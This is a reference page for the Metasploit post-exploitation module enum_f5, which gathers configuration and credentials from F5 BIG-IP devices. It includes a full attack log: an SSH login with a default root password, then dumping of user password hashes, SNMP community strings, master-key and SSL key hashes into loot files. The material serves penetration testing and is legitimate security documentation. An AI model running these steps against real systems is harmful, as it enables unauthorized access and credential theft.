F5 Gather Device General Information - Metasploit
This page contains detailed information about how to use the post/networking/gather/enum_f5 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 Gather Device General Information
Module: post/networking/gather/enum_f5
Source code: modules/post/networking/gather/enum_f5.rb
Disclosure date: -
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module collects a F5's device information and configuration.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/networking/gather/enum_f5
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/networking/gather/enum_f5
msf post(enum_f5) > show options
... show and set options ...
msf post(enum_f5) > set SESSION session-id
msf post(enum_f5) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/networking/gather/enum_f5")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module has been tested on the following hardware/OS combinations.
- F5 Big-IP 15.1.0.2
This module will look for the following parameters which contain credentials:
- Big-IP
- user
- SNMP
- key hashes
- SSL keys
Verification Steps
- Start msfconsole
- Get a shell
- Do:
use post/networking/gather/enum_f5
- Do:
set session [id]
- Do:
set verbose true
- Do:
run
Scenarios
F5 Big-IP 15.1.0.2
resource (f5_ssh.rb)> use auxiliary/scanner/ssh/ssh_login
resource (f5_ssh.rb)> set username root
username => root
resource (f5_ssh.rb)> set password f5-bigip
password => f5-bigip
resource (f5_ssh.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (f5_ssh.rb)> run
[+] 2.2.2.2:22 - Success: 'root:f5-bigip' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux f5bigip.ragedomain 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Fri Mar 20 17:06:49 PDT 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:42443 -> 2.2.2.2:22) at 2020-08-20 14:39:08 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (f5_ssh.rb)> use post/networking/gather/enum_f5
resource (f5_ssh.rb)> set session 1
session => 1
resource (f5_ssh.rb)> set verbose true
verbose => true
resource (f5_ssh.rb)> run
[!] SESSION may not be compatible with this module.
[*] Moving to TMOS prompt
[+] Config information stored in to loot /home/h00die/.msf4/loot/20200820143924_default_2.2.2.2_f5.version_351096.txt
[+] Version: BIG-IP 15.1.0.2 0.0.9
[*] Gathering info from show sys
[+] Saving to /home/h00die/.msf4/loot/20200820143929_default_2.2.2.2_F5.show_sys_066269.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from show auth
[+] Saving to /home/h00die/.msf4/loot/20200820143934_default_2.2.2.2_F5.show_auth_823862.txt
[*] Gathering info from show cm
[+] Saving to /home/h00die/.msf4/loot/20200820143939_default_2.2.2.2_F5.show_cm_704510.txt
[*] Gathering info from show net
[+] Saving to /home/h00die/.msf4/loot/20200820143944_default_2.2.2.2_F5.show_net_045166.txt
[*] Gathering info from show running-config
[+] Saving to /home/h00die/.msf4/loot/20200820143949_default_2.2.2.2_F5.show_running__097351.txt
[+] 2.2.2.2:22 Username 'admin' with description 'Admin User' and shell tmsh with hash $6$PQvaMmyS$Bn5.2qIin7rC34tHUQ1Vu6fEeuDzQZqc25TSiDsmbB903RENBisWbTN9Mqh7g2x26VUbxdzwUzzmL7fB4T2iy1
[+] 2.2.2.2:22 Username 'superlegit' with description 'a user account' and shell tmsh with hash $6$FTQz2reX$U0o37QjQYdg42dwCcLa.1H85hVTriQtxhlMoIM0cs4DFyW5s26kbrEgZG5Mfaxi9fgFfHrvDBGad7ikXnEZIP0
[+] 2.2.2.2:22 Username 't' with description 't' and shell none with hash $6$iajXIq2B$ezy4hVW9A.5eN1xG4JZWFbY4bFaq7uUKwO9gDVLxvgzigsX4gquLW1NoSaZP9CtN0NnrbGV4QvtkA.esLJOg50
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 SNMP Community 'rocommunity' with RO access
[+] 2.2.2.2:22 SNMP Community 'rwcommunity' with RW access
[+] 2.2.2.2:22 Hostname: f5bigip.ragedomain
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[+] 2.2.2.2:22 SSL Key 'f5_api_com.key' and hash $M$by$gXTDo23Gz+Yz4fWA4uBbTccd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from show sys crypto master-key
[+] Saving to /home/h00die/.msf4/loot/20200820143954_default_2.2.2.2_F5.show_crypto_k_313673.txt
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
[*] Gathering info from cat /config/bigip.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144005_default_2.2.2.2_F5.bigip.conf_401821.txt
[+] 2.2.2.2:22 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
[*] Gathering info from cat /config/bigip_base.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144010_default_2.2.2.2_F5.bigip_base.co_869534.txt
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
[+] 2.2.2.2:22 Hostname: f5bigip.ragegroup.com
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
[+] 2.2.2.2:22 Management IP: 2.2.2.2
[+] 2.2.2.2:22 Product BIG-IP
[+] 2.2.2.2:22 OS Version: 15.1.0.2
[*] Gathering info from cat /config/bigip_gtm.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144015_default_2.2.2.2_F5.bigip_gtm.con_315221.txt
[*] Gathering info from cat /config/bigip_script.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144020_default_2.2.2.2_F5.bigip_script._498011.txt
[*] Gathering info from cat /config/bigip_user.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144025_default_2.2.2.2_F5.bigip_user.co_687618.txt
[*] Gathering info from cat /config/user_alert.conf
[+] Saving to /home/h00die/.msf4/loot/20200820144030_default_2.2.2.2_F5.user_alert.co_138139.txt
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the networking/gather/enum_f5 post exploitation module looks in the msfconsole:
msf6 > use post/networking/gather/enum_f5
msf6 post(networking/gather/enum_f5) > show info
Name: F5 Gather Device General Information
Module: post/networking/gather/enum_f5
Platform:
Arch:
Rank: Normal
Provided by:
h00die
Compatible session types:
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module collects a F5's device information and configuration.
Module Options
This is a complete list of options available in the networking/gather/enum_f5 post exploitation module:
msf6 post(networking/gather/enum_f5) > show options
Module options (post/networking/gather/enum_f5):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the networking/gather/enum_f5 post exploitation module:
msf6 post(networking/gather/enum_f5) > show advanced
Module advanced options (post/networking/gather/enum_f5):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the networking/gather/enum_f5 module can do:
msf6 post(networking/gather/enum_f5) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the networking/gather/enum_f5 post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(networking/gather/enum_f5) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to obtain system version information
Here is a relevant code snippet related to the "Unable to obtain system version information" error message:
53: if /^\s+Build\s+(?<build>[\d.]+)$/ =~ content
54: ver << build
55: end
56: print_good("Version: #{ver.join(' ')}") unless ver.empty?
57: else
58: print_bad('Unable to obtain system version information')
59: end
60: # run additional information gathering
61:
62: enum_tmos_configs(prompt)
63: if started_tmos
File not found or empty
Here is a relevant code snippet related to the "File not found or empty" error message:
182: exec_commands.each do |ec|
183: command = ec['cmd']
184: cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
185: print_status("Gathering info from #{command}")
186: if cmd_out.include?('No such file or directory') || cmd_out.strip == ''
187: print_error('File not found or empty')
188: next
189: end
190: cmd_loc = store_loot("F5.#{ec['fn']}",
191: 'text/plain',
192: session,
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14031 Merged Pull Request: F5 processor
Go back to menu.
See Also
Check also the following modules related to this module:
- post/networking/gather/enum_brocade
- post/networking/gather/enum_cisco
- post/networking/gather/enum_juniper
- post/networking/gather/enum_mikrotik
- post/networking/gather/enum_vyos
Authors
- h00die
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.